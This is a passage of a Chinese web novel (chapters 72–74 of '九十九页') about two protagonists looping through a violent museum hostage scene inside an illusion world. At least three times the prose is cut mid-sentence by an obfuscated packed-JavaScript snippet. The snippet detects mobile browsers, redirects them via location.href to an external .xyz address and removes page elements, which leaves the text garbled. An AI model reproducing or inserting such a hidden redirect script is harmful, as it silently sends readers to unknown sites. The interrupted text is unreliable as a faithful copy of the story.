墨墨将信将疑，但看姜渔确实没有暴露“银月侠”要来的消息，又不禁点点头。 另一边，豪猪头还在发言。 在辛司政与猎狗争先恐后的“捧哏”下，进度被拖慢不少，很久才讲完“让学生们给家长打电话”、“索要十四亿和直升飞机”的信息。 终于来到姜渔推测中，将会引发海啸的时刻。 豪猪头向墨墨步步逼近。 辛司政向姜渔投来疑问的目光，是在问：像上次一样？ 姜渔微微摇头。 像上次一样，抢枪反制的话，事情非但不会得到缓解，还会引出豪猪头的炸弹威胁。届时，若是再放开豪猪头，豪猪头依然会杀掉墨墨以儆效尤。 这时，豪猪头已经走来，他一把抓过墨墨，用枪抵住她的太阳穴说：“叔叔呢，也担心你们的爸爸妈妈不当回事。但是大家放心！等我把这女仔的尸体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14786477|150214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丢到警……” 咔嗒！ 猛地，一声脆响落下，短暂寂静后，阵阵尖叫声响起！ 豪猪头愣了一下，他看向学生堆中，那里学生纷纷躲避，从而显现出来一个空地。 空地中，只剩下管理员姑娘，和一个戴黑色墨镜的学生。 姜渔松开双手，一具被拧断脖子的尸体，就这样从她怀中缓缓垂下，瘫在地上。墨镜滑落，露出男生死不瞑目的双眼。 姜渔阳光一笑：“您看这个尸体怎么样？” “不是，你……你在干什么啊！？？” 豪猪头看到尸体直接破防了：“那是市交易部部长的公子啊！？你知道你掐断了多少钱吗？” “这，这样才有分量不是么？” 姜渔表情又愕然又自责，“我也是看他参观博物馆还戴着墨镜，很拽的样子，肯定是个刺头，才想帮您杀鸡儆猴的……” 妖人中，鸡头男和猴头男都不由自主缩了缩脖子。 “帮我？”豪猪头看到姜渔自责的表情，不禁缓和了情绪，困惑地问。 反观被挟持的墨墨，表情已经凌乱了。 果然这世间最恐怖的是人心。墨墨暗自想到，愤懑看向嘴上说着站在人类这边、转眼就很流畅地杀害同学的姜渔。 可墨墨转念一想，内心又十分复杂，想着如果这个管理员姐姐不杀了同学，死的大概率就是自己了…… 另一边，姜渔诚恳点头：“我只是想证明自己对你们还有用处。我不想死。” “你的命对老子也没有用。”豪猪头没好气地哼一声，斜视姜渔，说：“就算你想表现，也表现得太过愚蠢。我挑这个小姑娘可是有深意的，你明不明白？” ……果然！ 姜渔目光一沉。 当阻止豪猪头要杀掉主体后，果然显现出了更多的信息。 辛司政在一旁插嘴：“我们当然不明白了，大哥，为什么要挑选这么个小丫头呢？” “自然是因为银月侠！”豪猪冷声笑道，“这小姑娘前几天不是宣称自己被银月侠救过，还采访了银月侠么？老子这次过来，除了钱，还要杀杀那什么银月侠的威风！” “先让她看到自己救下的小姑娘被我们杀死。等她过来，再一举把她炸死。”豪猪头环顾场内，话中有彻骨的寒意：“看以后还有没有爱管闲事的人！” 墨墨听到后一愣，明白这里竟然还隐藏着针对于银月侠的陷阱。 她更加慌了，努力试图挣脱，却被豪猪头禁锢得更紧了。 她只能大喊：“放开我！你们这群卑鄙的畜生！” “卑鄙？只会躲在暗处的银月侠就不卑鄙么？”豪猪头狞笑着，“还是说，这个银月侠根本不存在，就是你们这些普通人捏造的狗屁英雄？只想来震慑我们进化人？” 看来人类称呼他们为妖人，妖人们却自称为进化人。 墨墨大声反驳：“你放屁！银月侠救过我！我见过她！我……” 忽然，一声怒斥响起：“够了！倪中墨！你给我闭嘴！” 姜渔看过去，眉毛一挑，竟然是王沐恩站出来骂道：“我早就跟你说少看那些课外读书！专心学习，你还去参加什么校内报社！” 王沐恩随即向豪猪头哀求道：“大哥，那些都是小孩子不懂事瞎编的，肯定都是假的，请您高抬贵手放了她吧。” “是你不懂！”墨墨红了眼眶，倔强地反驳，“我至少真被救过！你又为我做了什么？你每天只会待在博物馆里，永远不会回家！” 墨墨眼中噙泪：“如果你每天可以准时回家，我又怎么会遇到抢劫犯，被银月侠救下？我又怎么会把这件事写到校报上！” 王沐恩明显恼羞成怒，呵斥道：“我回不回家跟你出去乱跑有什么关系！” “因为那天是我生日！我想来这里找你过生日！” 墨墨面对又一次指责，再也忍不住眼泪，她泪水夺眶而出，哭喊道：“我想跟妈妈一起过一次生日有什么错吗！” 72. 九十九页（七） “你！……” 王沐恩还想说话，但看到墨墨的泪水，动动嘴唇，终究是不忍心说下去了。 原来她们两个是母女。 姜渔想到进入幻境沼泽前，1301室次卧的黑板上，写着《女儿的世界》。 总算离精神锚点更进一步了。 “大家都等等。”姜渔举手出声，讪笑着问道：“所以，银月侠到底是什么？值得让这位大哥这么惦记？” “你没听过么？”豪猪头冷笑一声说，“一个月前，陆续有人宣称在遭遇抢劫绑架时，见过一个自称银月侠的人，救下了他们。” “在他们口中，银月侠飞天入地，无所不能，还扬言要铲平所有罪犯，让我们一票兄弟整天担惊受怕的。” “但从没有人拍下她的样子。” “老子就不信，能真有这么个人？有这么大本事？那我们这帮人还活不活了？要让老子说，这就是你们捏造的一个人物，想威慑我们！” “今天，要是真有这么个人，老子就杀了他！要没有这么个人，这个城市以后还是我们的天下！抢劫，绑架，杀人，我们不仅要继续干下去，还要干得更起劲！” 豪猪头一番话说完，所有妖人都激动地举枪发射，欢声庆贺。 豪猪头低头看向墨墨，说：“这个姑娘，是最近一个声称见过银月侠的人。赶上我们想干一票大的，才挑中了她所在的这个班级。” 一时间，学生们看向墨墨的眼神都变了。 墨墨读懂同学们的眼神： 麻烦精；怪胎；都怪她；多事；赶紧死掉吧。 墨墨嘴唇颤抖，陷入深深的无助之中。她看向王沐恩，看到妈妈的眼中只有担忧，于是更多的酸涩与委屈涌上心头。 “所以，你要杀她，只是因为银月侠而已。”姜渔说，“那我们不妨先留着她一条命，让同学们先给家长们打电话，我们慢慢来了解真相，怎么样？” “这里已经有了一具尸体，我们可以先放出去，引起大众的注意。” “接下来，我们好好审问这位女同学。如果她坚持银月侠真的存在，我们再把她杀了，扔到外面。”姜渔语速飞快，生怕豪猪头一扣动扳机就会引发海啸，接连说：“这样，既可以让外界感受到我们会陆续杀掉人质的狠心，催促家长们打钱。同时，也是在羞辱银月侠。我们可以等银月侠过来，再一举杀掉！” “多嘴！” 猛地，辛司政起身怒斥道，“什么东西，叽里呱啦的，一天天就显你话多了！你没看到大哥迟迟没有下手杀掉这女学生吗？动动你的居……狗脑子！这么绝妙的主意大哥怎么可能想不到？大哥早就想这么干了！” 豪猪头本就觉得姜渔的话有些道理，但又放不下脸面去听取意见，甚至生出些许叛逆心理。 但一听到辛司政的怒斥，只觉得心里暖洋洋的很舒服，咳嗽两声，说：“够了，小辛。” 豪猪头终于垂下枪口，对墨墨说：“说！你是不是真的见过银月侠？” 墨墨看着王沐恩焦急的目光，一阵恍惚，她看清了当下的局势，知道自己的性命掌握在几句“口供”上，于是不再冲动，机灵地改口说：“没有。” 姜渔欣慰地点点头。 豪猪头则有些不满：“你刚刚不是很坚持么？” “我吓唬你的。”墨墨说，“我以为搬出银月侠来就会吓到你。” 墨墨咽了口口水，回想起姜渔与辛司政的举动，虽不熟练但还是多添了这样一句：“没想到您真的浑身是胆，完全没有吓到您。” “少来这套。”豪猪头哼一声，又追问道：“那你登报的采访又是怎么回事？” 墨墨眼神一黯，说：“那都是我为了博取注意凭空捏造的。” “是么？老子可看到你写得很好呢，还引起了新闻报道。”豪猪头眼神向后一撇：“猎狗，新闻上是怎么报道的？” 猎狗掏出手机一番操作，念道：“作为目前关于银月侠形象的最详细描述，这篇来自高中校园的校报引起了我方记者的注意，于是……” “念重点！在这朗诵呢？” “好的大哥。”猎狗忙滑动屏幕，说：“带黑色帽子，黑色面纱遮住下半张脸。白色贴身T恤，灰色贴身牛仔裤，白色运动鞋，披着白色斗篷。手里拿着一把银色短匕首。” 豪猪头目光阴狠，用力勒紧墨墨脖子，说：“这么详细却说是捏造的？” “那个。”姜渔忍不住出声：“抛开斗篷和匕首，这不就是个普通路人吗？听着确实很像捏造的啊，还是没什么想象力的那种捏造。” 豪猪头犹豫一下，继续问：“那采访呢？” “她写的校报上，只有两句对话。”猎狗看着手机继续念道：“她说，谢谢，请问你是银月侠吗？银月侠点点头。她又问，你只会在晚上出现吗？因为是月亮？银月侠说，不，月亮是一颗星星，无论白天黑夜都会守护蓝星的。银月侠还给小记者……就是这个女学生，留下了联系方式，说有危险随时联系她。说完就飞走了。” 豪猪头一紧手肘，逼问：“对话也是假的？” 辛司政不满地插嘴：“肯定是假的啊大哥，你看就两句对话还夹着一道中学地理知识。” 豪猪头：“那联系方式呢？” 墨墨说：“我在网上购买了聊天服务，请商家装作银月侠跟我说话。” 豪猪头眉头越皱越紧，“你为什么要这么做？” “我说了，那天是我生日。” 墨墨抵着头，神色晦暗不明，说，“我带着蛋糕，想去找我妈过生日，但路上我摔了一跤，蛋糕摔在地上，特别难看。我觉得自己搞砸了，很委屈。” 场内陷入寂静，学生们已经跟家长打完电话，此时都听到墨墨的抽泣。 “我想不明白，为什么女儿过生日，妈妈却不记得。我也想不明白，明明我已经接受这些，已经计划自己努力来过一个很美好的生日，却笨到会摔跤，会搞砸一切。于是，我想……” “我想，如果银月侠可以来救我就好了。” “我捡起蛋糕，没有去博物馆，而是回了家。路上，我想到了这个故事。假装自己生日这天，发生了很精彩的事情。” 是这样么？ 被异化的精神锚点，与生日有关？ 这才牵引出银月侠、绑架这些事情？一切都来源于一个总是被忽略的童年？ 接下来呢？更接近精神锚点的话，是好好过一个生日？ 比如在博物馆补上，大家和和气气地给这个墨墨庆生？ 姜渔皱眉暗自思索。 可幻境沼泽内又没有任何异动，以往接近精神锚点时，都会出现很多阻碍的…… “祝你生日快乐~祝你生日快乐~” 死寂的大厅内忽然响起干巴巴的歌声和有节奏的掌声。 所有人看向辛司政。 辛司政拍着手，锲而不舍地冲着墨墨唱歌，目光直勾勾得像在念什么咒语：“祝你生日快乐额，祝你生日快乐eon大家一起来！祝你……” 砰的一声枪响，辛司政闷哼一声垂头捂住肩膀，缓缓跪倒在地，又滑倒在地一动不动了。 猎狗吹熄枪口，瞪眼怒斥：“你丫有病啊？！” “谢谢这位保安大哥。”墨墨嘶哑着嗓子说，又向豪猪头说：“事情就是这样。” “哦……这样啊，看来银月侠果然是一场谎言。”豪猪头忽然笑了，“真是谁都能编上两句。” 姜渔舒了一口气。 “不过。”豪猪头说，“这不重要。” “把她的尸体丢出去，让那些人发现，他们期待降临的银月侠却没有出现。这才是最重要的。”豪猪头邪笑起来：“要让所有人明白这件事，光是捏造出一个什么超级英雄，对我们进化人是没用的！” 豪猪头说完，重新抬起枪，抵向墨墨的太阳穴，就要扣动扳机。 姜渔瞳孔骤然收缩，怒喝一声：“银月侠来了！” “什么！？” 豪猪侠惊愕转头四顾，目光刚定下来，就看到视线中的姜渔怒目逼近，右手握拳狠狠砸来！ 这一拳狠狠砸在豪猪头的猪鼻子上，令他又疼又酸直接淌出两行清泪。 姜渔拳头向下张开，顺势扣住豪猪头的手腕，用力一掰，豪猪头应声惨叫，枪随之脱手，姜渔接到枪后，故伎重施，绕至身后抵住豪猪头的后颈。 姜渔冷声命令：“让他们都别动！” “你算个什么东西！”豪猪头吸着冷气低吼，“我们已经在这里布置了炸弹，杀了我，所有人都逃不掉！猎狗！” 不远处，猎狗听命，手伸向兜内，然而就在此时，他忽然听到一阵跑步声，抬头看去，之前中枪倒地的辛司政不知何时已经爬至近处站起，扑向猎狗！ 辛司政飞扑到猎狗身上，手摸向早盯紧的裤兜，从中掏出一个遥控器，随后更是抢过猎狗手枪，抵住猎狗额头。 “狗东西，我忍你很久了！” 辛司政痛揍猎狗两拳：“炸药怎么拆除？” 有辛司政异军突起，妖人的老大豪猪头和炸弹杀器都掌握在姜渔这一方手中，剩余妖人持着枪，不知如何是好，只能看到辛司政痛扁猎狗狗头。 猎狗一边挨揍一边威胁：“拆不掉的，倒计时已经开始了，两个小时内，我们拿不到钱，炸弹就会爆炸……” 姜渔听后，看向惊魂未定的墨墨，问：“银月侠真的会来吗？” “墨墨都说那是假的了。”王沐恩上前要将墨墨拉走。 她发现墨墨站在原地，难以拉动。 墨墨眼神坚定，她看向姜渔，说：“我为什么要相信你？你刚刚杀了我的同学。” “我不杀他，死的就会是你。你不会不明白。”姜渔语气平静。 “可你当时为什么要救我？” “我只想为自己争取多一点活下去的机会。市警或许不够 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14790313|150214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，但银月侠来了的话，一定可以。”姜渔随口编道，“可如果你死掉，银月侠也许就不会救我们了。” 墨墨斩钉截铁：“银月侠不是你想的那种人！” “我也不是你想的那种人，大姐。”豪猪头找到话口，他见己方大势将去，连忙插嘴说：“我们不会乱杀无辜的，你想活下去是吗，趁炸弹还没爆炸，走就行了。我本来也没想勒索你，你走吧，行吗？姐。” 这时，外面警笛声大作，市警们终于来了。 市警在外面喊话：“里面的绑匪听着！你们已经被包围了！尽快释放人质，我们将会以自首的性质对你们从轻处理。” 豪猪头手指了指衣领边的麦克风，向姜渔请求说话。 姜渔点点头。 豪猪头微微低头，在麦克风边上按下按钮说：“市警同志，请稍等一下，里面的情况目前比较复杂，等我们先内部处理一下。” “你是谁？” “我是绑匪的头目。” “明白，我们已经收到你的请求，但是你必须知道，一架直升机是没有办法顺利逃离的，就算你们挟持人质，也只是徒增罪行……” “我说了等会等会的。我们在这里布置了炸弹，你们敢有什么动作，我就带着人质同归于尽！” 豪猪头说完，讨好地向姜渔说：“你看，姑娘，虽然说你们绑架了我，拿到了遥控器，但炸弹还是会在一个多小时后爆炸。我们是带着同归于尽的决心来的，所以你也不用想着挟持我就能控制我的兄弟们了。我死了，我兄弟们同样会打死你们两个。相反，我们放你们两个走，你们让我们继续抢，怎么样？” 姜渔不理，只问墨墨：“银月侠怎么还不来？” 王沐恩焦急出声：“不是说了……” “妈，我骗他们的。”墨墨打断王沐恩的话，看着姜渔说：“我就是被银月侠救过，我见过。” 姜渔点点头：“我能看出来。” 一旁辛司政听到自己被骗了，还傻兮兮地唱了生日歌，升起一股闷气，打猎狗打得更用力了。 “但我也不知道她什么时候能过来……”墨墨看着场内一群持枪的妖人，低声说，“如果她能过来的话，一定可以解决掉那些小喽喽的。” “别做梦了！”豪猪头冷笑道：“她过来只会被炸成碎片！” 姜渔轻飘飘反问：“你们不也是会被炸成碎片么？” “你懂个屁，我们的炸弹是可以定向爆炸的，等银月侠真的到了，炸弹只会向一个方向爆炸！” “再不闭嘴，我就带着你出去。”姜渔冷声说，“你不是说你兄弟们只想抢钱么？如果我们挟持你离开这里的话，他们不会管吧？到时候，你坐牢，你兄弟们带着钱远走高飞，你愿意吗？” “还是做梦！我们进化人不像你们人类那样无耻！” 豪猪头刚说完，辛司政拳下响起一句：“100100。” 辛司政看向拳下，猎狗鼻青脸肿地说：“停止倒计时的密码是100100。” “狗东西！你在放什么屁！你……”豪猪头肉眼可见地慌了。 辛司政微微一笑，看向猎狗：“你什么意思？” “炸弹本来就是用来对付银月侠的，不管银月侠存不存在，会不会来，都不重要。我们不像猪头痴心妄想，还要扬名立万，我们拿到钱就走。”猎狗目光真诚，“这是我的诚意。你们两个带着死猪头离开，我们继续抢劫。不会同归于尽，甚至不会有人死掉。皆大欢喜，怎么样？” 辛司政看向姜渔，姜渔点了点头。 辛司政拿起遥控器，在上面的数字键上按下“100100”后，按下确认键。 一阵沉寂后。 大厅内四处都响起“嘀嘀嘀”的急促尖锐响声！ 那是密码输入错误，炸弹开始加快爆炸的响声！ 猎狗猛地怔住，不可置信地看向豪猪头。 豪猪头五官挤到一起，表情绝望又疯狂：“狗杂种，我就知道你靠不住才改了密码，想背叛我？一起死吧！！” 轰隆隆一声巨响，巨震再次传来！妖人们慌不择路四散而逃。 唉。 姜渔重重叹了口气，说：“正确的密码是什么？” 豪猪头已近癫狂：“告诉你也没用！只有一次机会！哈哈哈哈……” 姜渔狠狠锤了豪猪头一记肘击，继续说：“想活下去就告诉我，我有办法。” 豪猪头回头，眼看姜渔目光平静，听着嘀嘀嘀的急促声，犹豫一下，还是说：“099099。” 砰。 姜渔一枪解决掉豪猪头，看到馆门外已经袭来海啸，又向辛司政说：“这样下去不行，我们要改变策略。” 辛司政带着枪过来：“什么策略？” 姜渔眼中闪过一抹精光：“攻守易形！” 话音落下，她抬起枪，精准地为墨墨的额头送上一枚子弹。 万物再次静止。 73. 九十九页（八） 铅云笼罩天空。 海岸线博物馆安静伫立，青灰色椰树悠然摇曳。忽然，来往的行人注意到什么，纷纷四散而逃，恬静的氛围瞬间被打破。 博物馆旁，地下车库入口。一群妖人荷枪实弹，全副武装地走了出来。 “大哥，你真是神机妙算，从车库攻上去，枪声容易打草惊蛇，反而会让那群学生们跑了。谁能想到咱们是大摇大摆地从馆门进去绑架的？” 猎狗谄媚地在豪猪头身后奉承着。 豪猪头咧嘴一笑，獠牙尽露：“少废话，动作都快点！” 一行人浩浩荡荡登上台阶，豪猪头带头，猛地一脚踢开馆门，二话不说开始向大厅扫射！ 学生们吓得四散而逃，枪声继续响起，将学生们一一震慑在原地，不敢动弹。 妖人这边，剩下的小弟们开始给馆门上锁，负手站在豪猪头老大身后。 豪猪头满意地看到学生们都站在原地瑟瑟发抖，抬手下令：“都……” 忽然间，身后传来两声闷哼！ 豪猪头眉头一皱，刚想转身查看发生了什么，就听到又一轮哒哒哒的密集枪声！ 有人反水？！ 他心里一惊，慌忙弯腰半蹲。躲避身边飞驰的流弹，再一转头，赫然看到一男一女两个人类，他们不知从哪里埋伏而出，此时正端着从同伙手里抢来的枪肆意扫射，脚下一地尸体！ 豪猪头心瞬间跳到了嗓子眼，只见所有妖人中，已经仅剩自己和猎狗两个人还活着！ 他颤颤巍巍地开口：“大……大哥大姐，何方神圣？” 一男一女分别回话。 “姜渔。” “辛司政。” 姜渔抬了抬抢，目光冰冷：“几位好大的胆子，光天化日来这里绑架？” “我……我们……” 豪猪头有苦难言，心想我们还没开始绑架啊？ 辛司政则上前，缴了豪猪头和猎狗的枪，然后盯着猎狗说：“是不是还准备了炸弹？” 猎狗吓得瑟瑟发抖，他眼珠一转，说：“汪。” 辛司政一脚踹趴猎狗：“你大爷，这时候跟我装起畜生来了？” 姜渔下令：“都滚到大厅中间去！” 豪猪头出师不利，一想到即将被逮捕，只觉万分屈辱，但还是双手抱头向大厅走去。 他顶着学生们惧恨交加的眼神，挫败感十足。 “太好了！这就是馆长说的管理员姐姐吗？怪不得刚才没找到，是她救了我们！” 学生堆中忽然有人惊喜出声。 “那个保安大哥也好厉害！不愧是海岸线博物馆！”又一名男生挥着拳头激动地喊着。 砰！砰！ 两声枪响，让刚刚兴奋起来的博物馆再次陷入死寂。 豪猪头走到一半，眼睁睁看着最先欢呼的两个学生，脸上还带着笑意，眉心却已经多了一个血洞，同时直挺挺倒下去。 豪猪头错愕回头，看到学生口中所谓的管理员女生和男保安刚刚放下枪。 姜渔语气不耐：“你们也给我滚到大厅中间去。” 豪猪头完全傻眼了。 我去…… 是同行啊！！？ 另一边，王沐恩刚浮上来的笑容瞬间凝固。而不起眼的角落，墨墨开始掏出手机，发送短信。 姜渔与辛司政对视一眼，明白：成了。 在刚醒来时，姜渔就与辛司政交换了想法，若想让墨墨更接近她的精神锚点，必须满足两件事：一、陷入危险。二、不能遇到生死关头。 接下来，就是等待银月侠的出现。 但是以豪猪头为首的妖人绑匪们，变数太多，实在难以控制。那么。不如自己来担当那个“陷入危险”的元素。 有幸目睹过豪猪头的作风，姜渔与辛司政都对绑架这件事已经轻车熟路。 两人将学生们聚成一堆，命令他们蹲在地上。豪猪头与猎狗则蹲在最前方。 姜渔掂掂枪：“那个猪头，报警。” 豪猪头呆了呆，忙掏出手机说：“知道，知道。要不要让市警准备一架直升机？” 姜渔：“你很聪明。” 姜渔又转向学生们，说：“接下来，给你们这些小兔崽子们的家长打电话，一个小时内，准备好四亿现金。” “这位大姐。”豪猪头出声提醒，“我做了功课，您至少可以勒索十四亿。” “我知道。”姜渔微微一笑，“那十亿，我没准备拿。” 说罢，姜渔抬手一枪射死戴墨镜的拽男生，吓得所有人一哆嗦。 姜渔：“每过五分钟，我就会杀掉一个人。谁最先把钱拿过来，谁走。” 她想尽力给墨墨施压。 既不让墨墨处于生死关头之际，又要提升墨墨对银月侠降临的急迫感。 豪猪头全然崩溃：“大姐，那是市交易部部长的公子啊！” 姜渔不管不顾：“那条小狗，把三具尸体扔到外面去，让那帮市警知道我们不是开玩笑的。” 猎狗猛点头，汪汪汪地就去抬尸体了。有辛司政的枪口瞄准，猎狗不敢造次，将尸体扔到馆门外又灰溜溜地回来抱头蹲着。 五分钟转瞬即逝，有的学生们甚至还没有打完电话。 姜渔随意地抬起枪，一发子弹带走一个光头学生的生命。 豪猪头目光惨淡：“你杀了市警局局长的儿子啊！” 太鲁莽太不专业了！他想。 “我说了，我志不在此。”姜渔吹拂枪口，轻轻瞥了豪猪头一眼，“这里不是有个采访过银月侠的姑娘么？我今天想看看，到底有没有这个人存在。” “够了！你们两个到底要干什么！” 王沐恩听到姜渔说到自己的女儿，脸色苍白地站出来，鼓起勇气呵斥道。 姜渔抬起手，一枪打向王沐恩的小腿，“对我尊重点。” 王沐恩吃痛摔倒在地上，惊惧地看着姜渔。 一旁，墨墨焦急奔向王沐恩，她搀起母亲，恨意十足地看向姜渔：“不错！我就是被银月侠救过的人！银月侠很快就会来了！你等着遭报应吧！” 姜渔坦然一笑：“我等很久了。” 姜渔收回目光，与辛司政一起等待着银月侠的降临。 时间一分一秒过去。姜渔毫不手软，每当五分钟过去就带走一个学生的性命。 外面市警已经来到，但碍于姜渔控制了太多人质，根本不敢轻举妄动。 很快，场内的学生人质已经所剩无几。 姜渔观察墨墨的神色，看到她脸色惨白，满头冷汗，漫不经心地问道：“银月侠，还不过来么？小姑娘，到底有没有这个家伙？” 墨墨胸口起伏：“你！……” 豪猪头都看不下去了，说：“大姐，我一直怀疑银月侠就是这些人杜撰出来威慑咱们这种人的，还是把目光放到赎金上吧……” “谎言？那更是要付出代价的。”姜渔看着墨墨讥讽一笑。 墨墨毫不退让：“我没有说谎！银月侠就是真的救过我！” “墨墨，你少说两句！”王沐恩畏惧地看了一眼姜渔，拽了拽墨墨的袖子，皱眉训道：“我早就说过，让你专心学习，少听风就是雨，都是你看那些乱七八糟的书看的！你不听，还加入了什么报社，你没看出来今天都是你引起的麻烦吗！” “我，我没有……” 墨墨想反驳，迎上姜渔的目光，却弱弱低下了头。 姜渔则不放过墨墨，她顺着王沐恩的话悠悠说：“不错。就是你引起的。你最好祈祷银月侠快点到来，不然，更多的人都会因为你而死。” 早就吓傻的学生们，此时瞬间变得疯狂，他们都怒目看向墨墨。 “银月侠到底会不会来！你说话啊！” “倪中墨，你个骗子！你是不是为了博关注编造的新闻！？” “对……对！怎么可能有那么厉害的人存在？上天入地无所不能的！真的存在他怎么不来救我们！” “倪中墨！你快坦白吧！” “姐姐，您不能先杀了她吗？这跟我们没关系啊！” 话音落下，学生堆中有一个男学生忽然面容狰狞地扑向墨墨！他双手用力，作势要掐死墨墨！ 辛司政抬枪瞄准，将扑在半空中的男学生一枪毙命。 姜渔环视噤声的众人，说：“你们现在要做的，是和墨墨同学一起祈祷。” 姜渔换上一副很有耐心的表情，向墨墨笑着说：“你看，只有姐姐相信你。” 墨墨捏着手机，语气中多了一丝哭腔：“我说了……银月侠很快就会来的。很快就会来的，很快的……” 姜渔漠然道：“那就让他再快一点。” 砰。砰。砰。 多个五分钟继续过去，枪声不断响起。赎金已经陆续堆到了馆门口，但没有人去领，只有枪声回应着外界的绝望恳求。 天色已经有些暗了，铅云之下，所有人的心上也蒙上厚厚的阴影。 姜渔看向学生堆，那里学生已经所剩无几，她不禁看向辛司政，目光中多了许多不确定。 “不说这个银月侠能不能上天入地，打车都该到了吧。”姜渔嘟囔着。 “是呢。太不守时了，还超级英雄呢，一定要等到人都死光再出现吗？”辛司政也很不满。 “到底是哪里出了问题？” 姜渔陷入沉思。 从目前来看，墨墨的诉求就只是等待银月侠到来而已。 可银月侠从不会出现，只有墨墨一遍遍地面临生死关头。 若是换到现实中，“银月侠”这个精神锚点的真实身份，会是什么？ 这个问题，要等到银月侠出现才会得到解答。 周而复始的海啸，又是否有更深层次的原因？ 这个问题，同样无解。姜渔见过那铺天盖地的海啸，没有人能在那样的海啸中活下去。 历经两次幻境沼泽，姜渔从未遇到过如此僵局，她感觉整件事就是一个死胡同，完全看到向前推进的迹象。 “女儿的世界。”姜渔不禁念出黑板上的课题，皱着眉思索。 辛司政凑过来：“你说什么？” “女儿的世界。桥告诉我，这是这个幻境沼泽的课题。”姜渔说，“你有什么想法？” 辛司政思考了几分钟，摇摇头：“这里是女儿的幻想世界？那是自然的，这里本来就是幻境沼泽啊？” 辛司政带着这个所谓的课题，向墨墨走去。他问了好多次，得到的回答都是很普通的答案。 中学生，学习中等，离异家庭，缺失母爱。没谈恋爱，也没特别具象的梦想。只是日常的生活而已。 辛司政沮丧地按时杀掉一名学生，走回来，说：“没有收获。” 姜渔头也没抬：“看出来了。” 辛司政看到姜渔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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一旁，辛司政仍在巴啦巴啦说个没完，他抬手一枪按时杀掉一个学生，有些不满地看向蹲在地上的姜渔。 “你倒是说句话啊，难道想跟我分道扬镳？” “不。” 姜渔抬起头，她神色不太好地说道：“我有一个推测。” 辛司政精神一振：“是什么？” “两次。墨墨的妈妈都提到了一件事。”姜渔指着地上的字，说：“专心学习，课外读物，报社。” 辛司政点头：“没错。” 姜渔把专心学习和报社划掉，留在“课外读物”的字样上，说：“你想到了什么？” “小说，漫画，杂志，海报？”辛司政挠着头。 “正确。”姜渔点点头，说：“我们最开始就发现，这里的颜色，都是中性色，黑，白，灰。对么？” “是啊。” “我当时说这里像黑白电视，我说错了，你刚才猜到的一个，恐怕是对的。” 姜渔吞了口口水，艰难地说出自己的推测：“这里，有没有可能，是漫画的世界？” 辛司政一听，瞬间觉得脑袋宕机了：“漫画？” “银月侠，妖人，中学生。这就是一个关于超级英雄的黑白漫画。”姜渔指向画在地上的一个个人物。 紧接着，姜渔指向自己画的图案。 那是一个大大的方框。方框中，又被许多格子分割成一个个小方框。 姜渔硬着头皮说：“每一次，墨墨遇到生死关头，就是这一页漫画的最后一格。” 辛司政看着那个大方框，只感觉荒唐：“所以呢？” 姜渔：“你知道的。漫画的最后一格，总是扣人心弦的情节。” 她说着，手上的枪口移到另一幅图案上。 两张方框，其中一个方框被画上了阴影，象征着一页纸翻页翻到一半。 姜渔说：“所以，当漫画翻到下一页时，我们这一页的世界，就会倒转。” 她移动枪口，抵在那页翻动纸张的边缘： “而，我们这一页的边缘，是海。” “这就是巨型海啸的由来。因为我们的世界，在翻页的那一刻，海水全部倒灌了下来！” 辛司政瞬间头皮发麻，不由自主地接受了姜渔的推测，磕磕巴巴地说：“那……那我们就更要想到一个办法，让银月侠在生死关头之前出来啊？” “不是的。你再想想。”姜渔苦笑着说，“你看过漫画没有，或者电影，电视剧，哪怕小说都行。超级英雄，一般都会在什么时候出现？” 辛司政一经提醒，脸色顿时难看起来：“……生死关头。” “没错。”姜渔叹了口气，“没有生死关头，我们就会一直困在原地，剧情不会向前推进。银月侠永远不会出现。” “只有出现生死关头时，银月侠才会出现。” “这是这个世界的必然。” “以往出现生死关头时，海啸就会出现，我们以为世界就此终结了。其实不是这样的。” “世界还在继续。银月侠确实存在，也确实会来。” “只不过，银月侠在下一页。” “若想见到银月侠，就需要翻页。一旦翻页，这一页的世界，就会发生海啸。” “我们永远不会见到银月侠，哪怕银月侠总会如约而至。” 辛司政感觉自己的信心被姜渔的一句句话全部摧毁了。 按姜渔的话，这就是个无解的难题，是三维世界对二维世界的碾压！ 他咽了口口水，说：“那我们就只能留在这里等死吗？” “不。” 姜渔收起枪，目光坚定地看向馆门外的汹涌黑海。 “我们要去下一页。” 74. 九十九页（九） 辛司政一时间没有反应过来：“下一页？” “嗯。” 姜渔看向博物馆内的那一艘舰船： “在我所经历的幻境沼泽中，从没有绝对的无解绝境。就算精神锚点藏得再深，主体总有一条路是通向那里的。” “只不过在这里，主体只会一味地等待。如果我们也只是跟随主体的行动，肯定是行不通的。” 她曾找到天空巨眼的蹊跷，命令小陆伯原去注视。 她也曾得知温不朽的音乐梦，强行将他从龙套的生活中拽走。 然而到了这一次的幻境沼泽，每一轮循环持续时间都太短。姜渔不得不先思考怎么才能活下来，暂时忘掉了主体选择的路总是拖沓且无效的。 思绪至此，姜渔指着103搏洋舰，说：“那艘船，在这里是救过很多人的功臣。我想，它应该另有用途。” 姜渔带着辛司政走到王沐恩身前。 